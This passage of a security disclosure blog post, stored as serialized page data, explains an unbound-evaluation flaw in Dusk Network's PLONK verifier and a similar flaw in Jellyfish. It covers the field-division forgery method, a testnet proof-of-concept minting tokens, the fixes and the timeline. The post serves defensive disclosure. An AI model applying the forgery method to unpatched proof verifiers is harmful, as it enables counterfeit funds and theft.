struct",{"type":28,"value":778},{"type":23,"tag":31,"props":145235,"children":145238},{"href":145236,"rel":145237},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L255-L286",[35],[145239],{"type":28,"value":145240},"transcript absorption",{"type":28,"value":778},{"type":23,"tag":31,"props":145243,"children":145246},{"href":145244,"rel":145245},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/arithmetic/verifierkey.rs#L92-L118",[35],[145247],{"type":28,"value":145248},"arithmetic widget",{"type":28,"value":778},{"type":23,"tag":31,"props":145251,"children":145254},{"href":145252,"rel":145253},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/ecc/scalar_mul/fixed_base/verifierkey.rs#L46-L102",[35],[145255],{"type":28,"value":145256},"fixed-base ECC widget",{"type":28,"value":145258},"). But they are never checked against the corresponding selector commitments in the verifier key, even though those commitments already exist. The prover sends whatever values it wants and the verifier trusts them.",{"type":23,"tag":24,"props":145260,"children":145261},{},[145262,145264,145268],{"type":28,"value":145263},"The easiest way to see why these four omissions are special is to contrast them with two nearby cases that are ",{"type":23,"tag":186,"props":145265,"children":145266},{},[145267],{"type":28,"value":17727},{"type":28,"value":145269}," bugs:",{"type":23,"tag":127,"props":145271,"children":145272},{},[145273,145413],{"type":23,"tag":88,"props":145274,"children":145275},{},[145276,145278,145323,145325,145331,145333,145338,145339,145344,145345,145350,145352,145358,145360,145405,145407,145412],{"type":28,"value":145277},"There is no prover-supplied ",{"type":23,"tag":94,"props":145279,"children":145281},{"className":145280},[3237,3238],[145282],{"type":23,"tag":314,"props":145283,"children":145285},{"className":145284},[3243],[145286],{"type":23,"tag":314,"props":145287,"children":145289},{"className":145288,"ariaHidden":1481},[3248],[145290],{"type":23,"tag":314,"props":145291,"children":145293},{"className":145292},[3253],[145294,145298,145303,145308,145313,145318],{"type":23,"tag":314,"props":145295,"children":145297},{"className":145296,"style":3365},[3258],[],{"type":23,"tag":314,"props":145299,"children":145301},{"className":145300},[3264,20825],[145302],{"type":28,"value":308},{"type":23,"tag":314,"props":145304,"children":145306},{"className":145305},[20954],[145307],{"type":28,"value":341},{"type":23,"tag":314,"props":145309,"children":145311},{"className":145310,"style":112856},[3264,20825],[145312],{"type":28,"value":112859},{"type":23,"tag":314,"props":145314,"children":145316},{"className":145315,"style":92785},[3264,20825],[145317],{"type":28,"value":143987},{"type":23,"tag":314,"props":145319,"children":145321},{"className":145320},[20976],[145322],{"type":28,"value":431},{"type":28,"value":145324}," field at all. ",{"type":23,"tag":94,"props":145326,"children":145328},{"className":145327},[],[145329],{"type":28,"value":145330},"ProofEvaluations",{"type":28,"value":145332}," contains ",{"type":23,"tag":94,"props":145334,"children":145336},{"className":145335},[],[145337],{"type":28,"value":145135},{"type":28,"value":778},{"type":23,"tag":94,"props":145340,"children":145342},{"className":145341},[],[145343],{"type":28,"value":145142},{"type":28,"value":5743},{"type":23,"tag":94,"props":145346,"children":145348},{"className":145347},[],[145349],{"type":28,"value":145149},{"type":28,"value":145351},", but no ",{"type":23,"tag":94,"props":145353,"children":145355},{"className":145354},[],[145356],{"type":28,"value":145357},"c_w_eval",{"type":28,"value":145359},", so the verifier never consumes an unbound ",{"type":23,"tag":94,"props":145361,"children":145363},{"className":145362},[3237,3238],[145364],{"type":23,"tag":314,"props":145365,"children":145367},{"className":145366},[3243],[145368],{"type":23,"tag":314,"props":145369,"children":145371},{"className":145370,"ariaHidden":1481},[3248],[145372],{"type":23,"tag":314,"props":145373,"children":145375},{"className":145374},[3253],[145376,145380,145385,145390,145395,145400],{"type":23,"tag":314,"props":145377,"children":145379},{"className":145378,"style":3365},[3258],[],{"type":23,"tag":314,"props":145381,"children":145383},{"className":145382},[3264,20825],[145384],{"type":28,"value":308},{"type":23,"tag":314,"props":145386,"children":145388},{"className":145387},[20954],[145389],{"type":28,"value":341},{"type":23,"tag":314,"props":145391,"children":145393},{"className":145392,"style":112856},[3264,20825],[145394],{"type":28,"value":112859},{"type":23,"tag":314,"props":145396,"children":145398},{"className":145397,"style":92785},[3264,20825],[145399],{"type":28,"value":143987},{"type":23,"tag":314,"props":145401,"children":145403},{"className":145402},[20976],[145404],{"type":28,"value":431},{"type":28,"value":145406}," claim (",{"type":23,"tag":31,"props":145408,"children":145410},{"href":145228,"rel":145409},[35],[145411],{"type":28,"value":145232},{"type":28,"value":419},{"type":23,"tag":88,"props":145414,"children":145415},{},[145416,145418,145505,145507,145599,145600,145607],{"type":28,"value":145417},"There is a fourth permutation commitment ",{"type":23,"tag":94,"props":145419,"children":145421},{"className":145420},[3237,3238],[145422],{"type":23,"tag":314,"props":145423,"children":145425},{"className":145424},[3243],[145426],{"type":23,"tag":314,"props":145427,"children":145429},{"className":145428,"ariaHidden":1481},[3248],[145430],{"type":23,"tag":314,"props":145431,"children":145433},{"className":145432},[3253],[145434,145438,145443,145500],{"type":23,"tag":314,"props":145435,"children":145437},{"className":145436,"style":3365},[3258],[],{"type":23,"tag":314,"props":145439,"children":145441},{"className":145440},[20954],[145442],{"type":28,"value":1312},{"type":23,"tag":314,"props":145444,"children":145446},{"className":145445},[3264],[145447,145452],{"type":23,"tag":314,"props":145448,"children":145450},{"className":145449,"style":92785},[3264,20825],[145451],{"type":28,"value":143882},{"type":23,"tag":314,"props":145453,"children":145455},{"className":145454},[3280],[145456],{"type":23,"tag":314,"props":145457,"children":145459},{"className":145458},[3285,20879],[145460,145489],{"type":23,"tag":314,"props":145461,"children":145463},{"className":145462},[3290],[145464,145484],{"type":23,"tag":314,"props":145465,"children":145467},{"className":145466,"style":92351},[3295],[145468],{"type":23,"tag":314,"props":145469,"children":145470},{"style":92832},[145471,145475],{"type":23,"tag":314,"props":145472,"children":145474},{"className":145473,"style":3305},[3304],[],{"type":23,"tag":314,"props":145476,"children":145478},{"className":145477},[3310,3311,3312,3313],[145479],{"type":23,"tag":314,"props":145480,"children":145482},{"className":145481},[3264,3313],[145483],{"type":28,"value":1567},{"type":23,"tag":314,"props":145485,"children":145487},{"className":145486},[20982],[145488],{"type":28,"value":20985},{"type":23,"tag":314,"props":145490,"children":145492},{"className":145491},[3290],[145493],{"type":23,"tag":314,"props":145494,"children":145496},{"className":145495,"style":92382},[3295],[145497],{"type":23,"tag":314,"props":145498,"children":145499},{},[],{"type":23,"tag":314,"props":145501,"children":145503},{"className":145502},[20976],[145504],{"type":28,"value":14653},{"type":28,"value":145506}," in the verifier key, but the verifier uses the commitment itself inside the linearization MSM rather than trusting a prover-supplied scalar ",{"type":23,"tag":94,"props":145508,"children":145510},{"className":145509},[3237,3238],[145511],{"type":23,"tag":314,"props":145512,"children":145514},{"className":145513},[3243],[145515],{"type":23,"tag":314,"props":145516,"children":145518},{"className":145517,"ariaHidden":1481},[3248],[145519],{"type":23,"tag":314,"props":145520,"children":145522},{"className":145521},[3253],[145523,145527,145584,145589,145594],{"type":23,"tag":314,"props":145524,"children":145526},{"className":145525,"style":3365},[3258],[],{"type":23,"tag":314,"props":145528,"children":145530},{"className":145529},[3264],[145531,145536],{"type":23,"tag":314,"props":145532,"children":145534},{"className":145533,"style":92785},[3264,20825],[145535],{"type":28,"value":143882},{"type":23,"tag":314,"props":145537,"children":145539},{"className":145538},[3280],[145540],{"type":23,"tag":314,"props":145541,"children":145543},{"className":145542},[3285,20879],[145544,145573],{"type":23,"tag":314,"props":145545,"children":145547},{"className":145546},[3290],[145548,145568],{"type":23,"tag":314,"props":145549,"children":145551},{"className":145550,"style":92351},[3295],[145552],{"type":23,"tag":314,"props":145553,"children":145554},{"style":92832},[145555,145559],{"type":23,"tag":314,"props":145556,"children":145558},{"className":145557,"style":3305},[3304],[],{"type":23,"tag":314,"props":145560,"children":145562},{"className":145561},[3310,3311,3312,3313],[145563],{"type":23,"tag":314,"props":145564,"children":145566},{"className":145565},[3264,3313],[145567],{"type":28,"value":1567},{"type":23,"tag":314,"props":145569,"children":145571},{"className":145570},[20982],[145572],{"type":28,"value":20985},{"type":23,"tag":314,"props":145574,"children":145576},{"className":145575},[3290],[145577],{"type":23,"tag":314,"props":145578,"children":145580},{"className":145579,"style":92382},[3295],[145581],{"type":23,"tag":314,"props":145582,"children":145583},{},[],{"type":23,"tag":314,"props":145585,"children":145587},{"className":145586},[20954],[145588],{"type":28,"value":341},{"type":23,"tag":314,"props":145590,"children":145592},{"className":145591,"style":112856},[3264,20825],[145593],{"type":28,"value":112859},{"type":23,"tag":314,"props":145595,"children":145597},{"className":145596},[20976],[145598],{"type":28,"value":431},{"type":28,"value":2324},{"type":23,"tag":31,"props":145601,"children":145604},{"href":145602,"rel":145603},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/permutation/verifierkey.rs#L24-L104",[35],[145605],{"type":28,"value":145606},"permutation verifier key",{"type":28,"value":419},{"type":23,"tag":24,"props":145609,"children":145610},{},[145611,145613,145623],{"type":28,"value":145612},"The four selector evaluations fit neither of these safe patterns: they are prover-supplied scalars, they are used directly by verifier code, and they never appear in ",{"type":23,"tag":31,"props":145614,"children":145617},{"href":145615,"rel":145616},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L361-L373",[35],[145618],{"type":23,"tag":94,"props":145619,"children":145621},{"className":145620},[],[145622],{"type":28,"value":145064},{"type":28,"value":145624},", which leaves the master equation underconstrained.",{"type":23,"tag":24,"props":145626,"children":145627},{},[145628],{"type":23,"tag":197,"props":145629,"children":145632},{"alt":145630,"src":145631},"structural_trust_boundary","/posts/dusk-commitment-issues/structural_trust_boundary.svg",[],{"type":23,"tag":18031,"props":145634,"children":145635},{},[],{"type":23,"tag":61,"props":145637,"children":145639},{"id":145638},"the-exploitation",[145640],{"type":28,"value":145641},"The exploitation",{"type":23,"tag":24,"props":145643,"children":145644},{},[145645],{"type":28,"value":145646},"Since the selector evaluations are free variables, the verification equation becomes a linear equation the prover can solve after the fact.",{"type":23,"tag":24,"props":145648,"children":145649},{},[145650,145652,145658,145660,145665,145667,145672,145674,145680],{"type":28,"value":145651},"The prover commits to arbitrary witness polynomials, without needing a valid witness, and arbitrary quotient polynomials, where small random linear polynomials suffice. It follows the honest protocol through all commitment rounds, deriving the same challenges the verifier will. After seeing ",{"type":23,"tag":94,"props":145653,"children":145655},{"className":145654},[],[145656],{"type":28,"value":145657},"z_challenge",{"type":28,"value":145659},", it computes what the linearization polynomial ",{"type":23,"tag":186,"props":145661,"children":145662},{},[145663],{"type":28,"value":145664},"should",{"type":28,"value":145666}," evaluate to for the pairing check to pass, then solves for ",{"type":23,"tag":94,"props":145668,"children":145670},{"className":145669},[],[145671],{"type":28,"value":145185},{"type":28,"value":145673},", the single free variable that makes the verification equation balance (setting ",{"type":23,"tag":94,"props":145675,"children":145677},{"className":145676},[],[145678],{"type":28,"value":145679},"q_c_eval = q_l_eval = q_r_eval = 0",{"type":28,"value":419},{"type":23,"tag":24,"props":145682,"children":145683},{},[145684],{"type":23,"tag":197,"props":145685,"children":145688},{"alt":145686,"src":145687},"exploit_algebra","/posts/dusk-commitment-issues/exploit_algebra.svg",[],{"type":23,"tag":24,"props":145690,"children":145691},{},[145692,145694,145734,145736,145761,145763,145768],{"type":28,"value":145693},"To achieve this one may compute the linearization polynomial ",{"type":23,"tag":94,"props":145695,"children":145697},{"className":145696},[3237,3238],[145698],{"type":23,"tag":314,"props":145699,"children":145701},{"className":145700},[3243],[145702],{"type":23,"tag":314,"props":145703,"children":145705},{"className":145704,"ariaHidden":1481},[3248],[145706],{"type":23,"tag":314,"props":145707,"children":145709},{"className":145708},[3253],[145710,145714,145719,145724,145729],{"type":23,"tag":314,"props":145711,"children":145713},{"className":145712,"style":3365},[3258],[],{"type":23,"tag":314,"props":145715,"children":145717},{"className":145716,"style":92299},[3264,20825],[145718],{"type":28,"value":93118},{"type":23,"tag":314,"props":145720,"children":145722},{"className":145721},[20954],[145723],{"type":28,"value":341},{"type":23,"tag":314,"props":145725,"children":145727},{"className":145726},[3264,20825],[145728],{"type":28,"value":18514},{"type":23,"tag":314,"props":145730,"children":145732},{"className":145731},[20976],[145733],{"type":28,"value":431},{"type":28,"value":145735}," with all selectors set to zero, evaluating it at ",{"type":23,"tag":94,"props":145737,"children":145739},{"className":145738},[3237,3238],[145740],{"type":23,"tag":314,"props":145741,"children":145743},{"className":145742},[3243],[145744],{"type":23,"tag":314,"props":145745,"children":145747},{"className":145746,"ariaHidden":1481},[3248],[145748],{"type":23,"tag":314,"props":145749,"children":145751},{"className":145750},[3253],[145752,145756],{"type":23,"tag":314,"props":145753,"children":145755},{"className":145754,"style":110140},[3258],[],{"type":23,"tag":314,"props":145757,"children":145759},{"className":145758,"style":112856},[3264,20825],[145760],{"type":28,"value":112859},{"type":28,"value":145762},", and comparing to the target value; the difference divided by the coefficient of ",{"type":23,"tag":94,"props":145764,"children":145766},{"className":145765},[],[145767],{"type":28,"value":145185},{"type":28,"value":145769}," gives the required value in a single field division.",{"type":23,"tag":18031,"props":145771,"children":145772},{},[],{"type":23,"tag":61,"props":145774,"children":145776},{"id":145775},"impact-on-dusk-network",[145777],{"type":28,"value":145778},"Impact on Dusk Network",{"type":23,"tag":24,"props":145780,"children":145781},{},[145782,145784,145791],{"type":28,"value":145783},"PLONK is the sole gatekeeper for Phoenix-specific correctness claims: note membership, ownership, note commitments, sender-authorship, and balance integrity are encoded entirely in the circuit. Rusk does check other preconditions such as nullifier uniqueness before it verifies the proof (",{"type":23,"tag":31,"props":145785,"children":145788},{"href":145786,"rel":145787},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L153-L184",[35],[145789],{"type":28,"value":145790},"preverify path",{"type":28,"value":145792},"), but for the claims inside the proof there is no secondary validation path. With forged proofs, an attacker could:",{"type":23,"tag":84,"props":145794,"children":145795},{},[145796,145801,145806],{"type":23,"tag":88,"props":145797,"children":145798},{},[145799],{"type":28,"value":145800},"Inflate the token supply by fabricating input notes that do not exist in the note tree, with arbitrary values. The forged proof convinces the network these notes are real, and the attacker mints DUSK out of nothing, ready to transfer to honest users or exchanges.",{"type":23,"tag":88,"props":145802,"children":145803},{},[145804],{"type":28,"value":145805},"Forge spends that bypass the ownership, membership, and balance checks that normally make a Phoenix input note valid.",{"type":23,"tag":88,"props":145807,"children":145808},{},[145809],{"type":28,"value":145810},"Move forged shielded funds through honest wallets, because once a forged Phoenix transaction is accepted, the resulting shielded outputs are not distinguishable from legitimate Phoenix outputs at the protocol level.",{"type":23,"tag":24,"props":145812,"children":145813},{},[145814],{"type":28,"value":145815},"We demonstrated this with a full end-to-end proof-of-concept on a local Dusk testnet:",{"type":23,"tag":84,"props":145817,"children":145818},{},[145819,145824,145834,145846,145851],{"type":23,"tag":88,"props":145820,"children":145821},{},[145822],{"type":28,"value":145823},"Set up a single honest Rusk node and create two wallets (honest and malicious), both with balance 0",{"type":23,"tag":88,"props":145825,"children":145826},{},[145827,145829],{"type":28,"value":145828},"The malicious wallet forges a PLONK proof to create ",{"type":23,"tag":721,"props":145830,"children":145831},{},[145832],{"type":28,"value":145833},"2000 DUSK from nothing",{"type":23,"tag":88,"props":145835,"children":145836},{},[145837,145839,145844],{"type":28,"value":145838},"The malicious wallet transfers ",{"type":23,"tag":721,"props":145840,"children":145841},{},[145842],{"type":28,"value":145843},"1337 DUSK",{"type":28,"value":145845}," to the honest wallet using a normal (honestly-proved) transaction",{"type":23,"tag":88,"props":145847,"children":145848},{},[145849],{"type":28,"value":145850},"The honest node validates both transactions and mines them into blocks",{"type":23,"tag":88,"props":145852,"children":145853},{},[145854],{"type":28,"value":145855},"The honest wallet shows a confirmed balance of 1337 DUSK",{"type":23,"tag":24,"props":145857,"children":145858},{},[145859],{"type":23,"tag":197,"props":145860,"children":145863},{"alt":145861,"src":145862},"end_to_end","/posts/dusk-commitment-issues/end_to_end.svg",[],{"type":23,"tag":24,"props":145865,"children":145866},{},[145867,145869,145875,145877,145884],{"type":28,"value":145868},"At the time of discovery, DUSK's market cap was roughly ",{"type":23,"tag":31,"props":145870,"children":145872},{"href":141170,"rel":145871},[35],[145873],{"type":28,"value":145874},"~60M",{"type":28,"value":145876},". The entire shielded transaction layer was at risk. Because Phoenix is privacy-preserving, forged outputs accepted into the shielded pool would have been difficult to distinguish after the fact, similar to Neptune Cash with the ",{"type":23,"tag":31,"props":145878,"children":145881},{"href":145879,"rel":145880},"https://neptune.cash/articles/critical-vulnerability-disclosure",[35],[145882],{"type":28,"value":145883},"Triton VM vulnerability",{"type":28,"value":282},{"type":23,"tag":18031,"props":145886,"children":145887},{},[],{"type":23,"tag":61,"props":145889,"children":145891},{"id":145890},"the-fix",[145892],{"type":28,"value":145893},"The fix",{"type":23,"tag":24,"props":145895,"children":145896},{},[145897],{"type":28,"value":145898},"The fix adds the four selector evaluations to the KZG batch opening check, so they are verified against the selector commitments already present in the verifier key:",{"type":23,"tag":127,"props":145900,"children":145901},{},[145902,145947],{"type":23,"tag":88,"props":145903,"children":145904},{},[145905,145907,145918,145920,145926,145927,145933,145934,145940,145941],{"type":28,"value":145906},"Extend ",{"type":23,"tag":31,"props":145908,"children":145911},{"href":145909,"rel":145910},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/compiler/prover.rs#L509",[35],[145912],{"type":23,"tag":94,"props":145913,"children":145915},{"className":145914},[],[145916],{"type":28,"value":145917},"compute_aggregate_witness",{"type":28,"value":145919}," on the prover side to also include ",{"type":23,"tag":94,"props":145921,"children":145923},{"className":145922},[],[145924],{"type":28,"value":145925},"q_arith",{"type":28,"value":778},{"type":23,"tag":94,"props":145928,"children":145930},{"className":145929},[],[145931],{"type":28,"value":145932},"q_c",{"type":28,"value":778},{"type":23,"tag":94,"props":145935,"children":145937},{"className":145936},[],[145938],{"type":28,"value":145939},"q_l",{"type":28,"value":5743},{"type":23,"tag":94,"props":145942,"children":145944},{"className":145943},[],[145945],{"type":28,"value":145946},"q_r",{"type":23,"tag":88,"props":145948,"children":145949},{},[145950,145952,145962],{"type":28,"value":145951},"Add their evaluations to ",{"type":23,"tag":31,"props":145953,"children":145956},{"href":145954,"rel":145955},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362",[35],[145957],{"type":23,"tag":94,"props":145958,"children":145960},{"className":145959},[],[145961],{"type":28,"value":145064},{"type":28,"value":145963}," on the verifier side, so they're checked against the commitments in the verifier key",{"type":23,"tag":24,"props":145965,"children":145966},{},[145967,145969,145976],{"type":28,"value":145968},"This was done in ",{"type":23,"tag":31,"props":145970,"children":145973},{"href":145971,"rel":145972},"https://github.com/dusk-network/plonk/commit/645265b748d2698bcb403b794fc2d58340b340f1",[35],[145974],{"type":28,"value":145975},"commit 645265b7",{"type":28,"value":145977},", which landed on February 14, 2026.",{"type":23,"tag":18031,"props":145979,"children":145980},{},[],{"type":23,"tag":61,"props":145982,"children":145984},{"id":145983},"why-was-this-missed",[145985],{"type":28,"value":145986},"Why was this missed?",{"type":23,"tag":24,"props":145988,"children":145989},{},[145990,145992,145999,146000,146007,146009,146016,146018,146025],{"type":28,"value":145991},"Dusk's stack had been heavily audited: a ",{"type":23,"tag":31,"props":145993,"children":145996},{"href":145994,"rel":145995},"https://github.com/dusk-network/audits/blob/main/core-audits/2023-12_plonk-audit-report_porter-adams.pdf",[35],[145997],{"type":28,"value":145998},"December 2023 audit of dusk-plonk",{"type":28,"value":123642},{"type":23,"tag":31,"props":146001,"children":146004},{"href":146002,"rel":146003},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_phoenix-audit-report_jules-de-smit.pdf",[35],[146005],{"type":28,"value":146006},"September 2024 audit of Phoenix",{"type":28,"value":146008},", and a ",{"type":23,"tag":31,"props":146010,"children":146013},{"href":146011,"rel":146012},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_rusk-node-library_oak-security.pdf",[35],[146014],{"type":28,"value":146015},"September 2024 Oak Security audit of the Rusk node library",{"type":28,"value":146017},". Dusk's public ",{"type":23,"tag":31,"props":146019,"children":146022},{"href":146020,"rel":146021},"https://dusk.network/news/audits-overview",[35],[146023],{"type":28,"value":146024},"audits overview",{"type":28,"value":146026}," summarizes the broader audit program. The bug still went unnoticed because it hides behind a very easy mental-model mistake.",{"type":23,"tag":24,"props":146028,"children":146029},{},[146030,146032,146037],{"type":28,"value":146031},"At the polynomial level, selectors are public circuit descriptions. A reviewer who keeps that standard PLONK model in mind will naturally think \"selectors are verifier-side\" and move on, overlooking the architectural deviation where Dusk's verifier started consuming prover-supplied selector ",{"type":23,"tag":186,"props":146033,"children":146034},{},[146035],{"type":28,"value":146036},"evaluations",{"type":28,"value":282},{"type":23,"tag":24,"props":146039,"children":146040},{},[146041],{"type":28,"value":146042},"This was a pure proof-system bug, not a Phoenix-circuit bug; the circuit constraints themselves were correctly written. The failure occurred entirely because the verifier accepted proof fields that bypassed the fundamental invariant established earlier: they were neither locally computed nor cryptographically bound to an opening proof.",{"type":23,"tag":24,"props":146044,"children":146045},{},[146046],{"type":28,"value":146047},"The check for this class of bug is mechanical: enumerate every field in the proof's evaluation struct and verify that each one either appears in the opening proof batch or is computed locally by the verifier.",{"type":23,"tag":61,"props":146049,"children":146051},{"id":146050},"a-similar-bug-in-espresso-systems-jellyfish",[146052],{"type":28,"value":146053},"A similar bug in Espresso Systems' Jellyfish",{"type":23,"tag":24,"props":146055,"children":146056},{},[146057,146059,146066],{"type":28,"value":146058},"While investigating PLONK implementations, we found a similar vulnerability in ",{"type":23,"tag":31,"props":146060,"children":146063},{"href":146061,"rel":146062},"https://github.com/EspressoSystems/jellyfish/",[35],[146064],{"type":28,"value":146065},"jf-plonk",{"type":28,"value":146067}," by Espresso Systems. The exact mechanism is different, but the exploitation also boils down to variables that are used in the final check not being cryptographically bound.",{"type":23,"tag":24,"props":146069,"children":146070},{},[146071,146073,146080,146082,146093,146095,146120,146122,146147],{"type":28,"value":146072},"Jellyfish implements UltraPlonk, which extends standard PLONK with ",{"type":23,"tag":31,"props":146074,"children":146077},{"href":146075,"rel":146076},"https://eprint.iacr.org/2020/315",[35],[146078],{"type":28,"value":146079},"Plookup",{"type":28,"value":146081}," lookup arguments. Plookup adds 15 polynomial evaluations to the proof. The function ",{"type":23,"tag":31,"props":146083,"children":146086},{"href":146084,"rel":146085},"https://github.com/EspressoSystems/jellyfish/blob/83e62ed43140d251f8a972033fdd9ddb717c66d7/plonk/src/transcript/mod.rs#L156-L166",[35],[146087],{"type":23,"tag":94,"props":146088,"children":146090},{"className":146089},[],[146091],{"type":28,"value":146092},"append_plookup_evaluations",{"type":28,"value":146094}," was supposed to add all 15 to the Fiat-Shamir transcript before the batching challenge ",{"type":23,"tag":94,"props":146096,"children":146098},{"className":146097},[3237,3238],[146099],{"type":23,"tag":314,"props":146100,"children":146102},{"className":146101},[3243],[146103],{"type":23,"tag":314,"props":146104,"children":146106},{"className":146105,"ariaHidden":1481},[3248],[146107],{"type":23,"tag":314,"props":146108,"children":146110},{"className":146109},[3253],[146111,146115],{"type":23,"tag":314,"props":146112,"children":146114},{"className":146113,"style":110140},[3258],[],{"type":23,"tag":314,"props":146116,"children":146118},{"className":146117,"style":92785},[3264,20825],[146119],{"type":28,"value":113203},{"type":28,"value":146121}," is derived. Instead, it only added 6 of the 15, and the remaining 9 evaluations are used in the batched verification check but don't influence ",{"type":23,"tag":94,"props":146123,"children":146125},{"className":146124},[3237,3238],[146126],{"type":23,"tag":314,"props":146127,"children":146129},{"className":146128},[3243],[146130],{"type":23,"tag":314,"props":146131,"children":146133},{"className":146132,"ariaHidden":1481},[3248],[146134],{"type":23,"tag":314,"props":146135,"children":146137},{"className":146136},[3253],[146138,146142],{"type":23,"tag":314,"props":146139,"children":146141},{"className":146140,"style":110140},[3258],[],{"type":23,"tag":314,"props":146143,"children":146145},{"className":146144,"style":92785},[3264,20825],[146146],{"type":28,"value":113203},{"type":28,"value":146148},", so the prover can adjust them after the fact to make the check pass.",{"type":23,"tag":24,"props":146150,"children":146151},{},[146152,146154,146160,146162,146168],{"type":28,"value":146153},"The attack requires modifying a single evaluation (",{"type":23,"tag":94,"props":146155,"children":146157},{"className":146156},[],[146158],{"type":28,"value":146159},"key_table_next_eval",{"type":28,"value":146161},") by ",{"type":23,"tag":94,"props":146163,"children":146165},{"className":146164},[],[146166],{"type":28,"value":146167},"delta / (u * v^3)",{"type":28,"value":146169}," to close the gap between the true and expected batched evaluation, which, like the Dusk exploit, reduces to a single field division.",{"type":23,"tag":24,"props":146171,"children":146172},{},[146173,146175,146182,146184,146195],{"type":28,"value":146174},"To our knowledge, Jellyfish's UltraPlonk mode is not currently deployed in production. ",{"type":23,"tag":31,"props":146176,"children":146179},{"href":146177,"rel":146178},"https://github.com/EspressoSystems/jellyfish/pull/867",[35],[146180],{"type":28,"value":146181},"PR #867",{"type":28,"value":146183}," fixed the issue and was tagged as ",{"type":23,"tag":31,"props":146185,"children":146188},{"href":146186,"rel":146187},"https://github.com/EspressoSystems/jellyfish/tree/jf-plonk-v0.8.0",[35],[146189],{"type":23,"tag":94,"props":146190,"children":146192},{"className":146191},[],[146193],{"type":28,"value":146194},"jf-plonk-v0.8.0",{"type":28,"value":146196}," on March 18, 2026.",{"type":23,"tag":18031,"props":146198,"children":146199},{},[],{"type":23,"tag":61,"props":146201,"children":146203},{"id":146202},"toward-standardization",[146204],{"type":28,"value":146205},"Toward standardization",{"type":23,"tag":24,"props":146207,"children":146208},{},[146209,146211,146218],{"type":28,"value":146210},"The fact that two independent PLONK implementations contain the same class of bug, and that ",{"type":23,"tag":31,"props":146212,"children":146215},{"href":146213,"rel":146214},"https://osec.io/blog/2026-03-03-zkvms-unfaithful-claims/",[35],[146216],{"type":28,"value":146217},"similar patterns appear across zkVMs",{"type":28,"value":146219},", suggests this isn't a problem that individual audits alone can solve. The check described above (diff \"evaluations used\" against \"evaluations bound\") is mechanical and could be built into development tooling, CI pipelines, or standardized PLONK verification specifications.",{"type":23,"tag":24,"props":146221,"children":146222},{},[146223],{"type":28,"value":146224},"We're in early discussions with the Dusk team and other stakeholders about what a PLONK standardization effort could look like: a curve-agnostic, backend-agnostic specification of the verification protocol that makes invariants like evaluation binding explicit and checkable.",{"type":23,"tag":24,"props":146226,"children":146227},{},[146228],{"type":28,"value":146229},"The status quo, where each team implements their own PLONK variant from the paper and hopes the auditor catches what they missed, is fragile. A shared, well-reviewed verification spec would reduce the surface area for these bugs and give auditors a concrete checklist to verify against.",{"type":23,"tag":61,"props":146231,"children":146232},{"id":60075},[146233],{"type":28,"value":146234},"Disclosure timeline",{"type":23,"tag":54995,"props":146236,"children":146237},{},[146238,146254],{"type":23,"tag":122250,"props":146239,"children":146240},{},[146241],{"type":23,"tag":122254,"props":146242,"children":146243},{},[146244,146249],{"type":23,"tag":122258,"props":146245,"children":146246},{},[146247],{"type":28,"value":146248},"Date",{"type":23,"tag":122258,"props":146250,"children":146251},{},[146252],{"type":28,"value":146253},"Event",{"type":23,"tag":122278,"props":146255,"children":146256},{},[146257,146270,146283,146295,146321,146341],{"type":23,"tag":122254,"props":146258,"children":146259},{},[146260,146265],{"type":23,"tag":122285,"props":146261,"children":146262},{},[146263],{"type":28,"value":146264},"2026-02-13",{"type":23,"tag":122285,"props":146266,"children":146267},{},[146268],{"type":28,"value":146269},"Dusk vulnerability reported",{"type":23,"tag":122254,"props":146271,"children":146272},{},[146273,146278],{"type":23,"tag":122285,"props":146274,"children":146275},{},[146276],{"type":28,"value":146277},"2026-02-14",{"type":23,"tag":122285,"props":146279,"children":146280},{},[146281],{"type":28,"value":146282},"Dusk acknowledged",{"type":23,"tag":122254,"props":146284,"children":146285},{},[146286,146290],{"type":23,"tag":122285,"props":146287,"children":146288},{},[146289],{"type":28,"value":146277},{"type":23,"tag":122285,"props":146291,"children":146292},{},[146293],{"type":28,"value":146294},"Dusk fix committed",{"type":23,"tag":122254,"props":146296,"children":146297},{},[146298,146303],{"type":23,"tag":122285,"props":146299,"children":146300},{},[146301],{"type":28,"value":146302},"2026-02-27",{"type":23,"tag":122285,"props":146304,"children":146305},{},[146306,146308,146319],{"type":28,"value":146307},"Public ",{"type":23,"tag":31,"props":146309,"children":146312},{"href":146310,"rel":146311},"https://github.com/dusk-network/rusk/releases/tag/dusk-rusk-1.6.0",[35],[146313],{"type":23,"tag":94,"props":146314,"children":146316},{"className":146315},[],[146317],{"type":28,"value":146318},"dusk-rusk-1.6.0",{"type":28,"value":146320}," release published",{"type":23,"tag":122254,"props":146322,"children":146323},{},[146324,146329],{"type":23,"tag":122285,"props":146325,"children":146326},{},[146327],{"type":28,"value":146328},"2026-03-16",{"type":23,"tag":122285,"props":146330,"children":146331},{},[146332,146334,146340],{"type":28,"value":146333},"Jellyfish fix PR opened (",{"type":23,"tag":31,"props":146335,"children":146337},{"href":146177,"rel":146336},[35],[146338],{"type":28,"value":146339},"#867",{"type":28,"value":431},{"type":23,"tag":122254,"props":146342,"children":146343},{},[146344,146349],{"type":23,"tag":122285,"props":146345,"children":146346},{},[146347],{"type":28,"value":146348},"2026-03-18",{"type":23,"tag":122285,"props":146350,"children":146351},{},[146352,146354,146359,146361],{"type":28,"value":146353},"Jellyfish fix merged in ",{"type":23,"tag":31,"props":146355,"children":146357},{"href":146177,"rel":146356},[35],[146358],{"type":28,"value":146339},{"type":28,"value":146360}," and tagged as 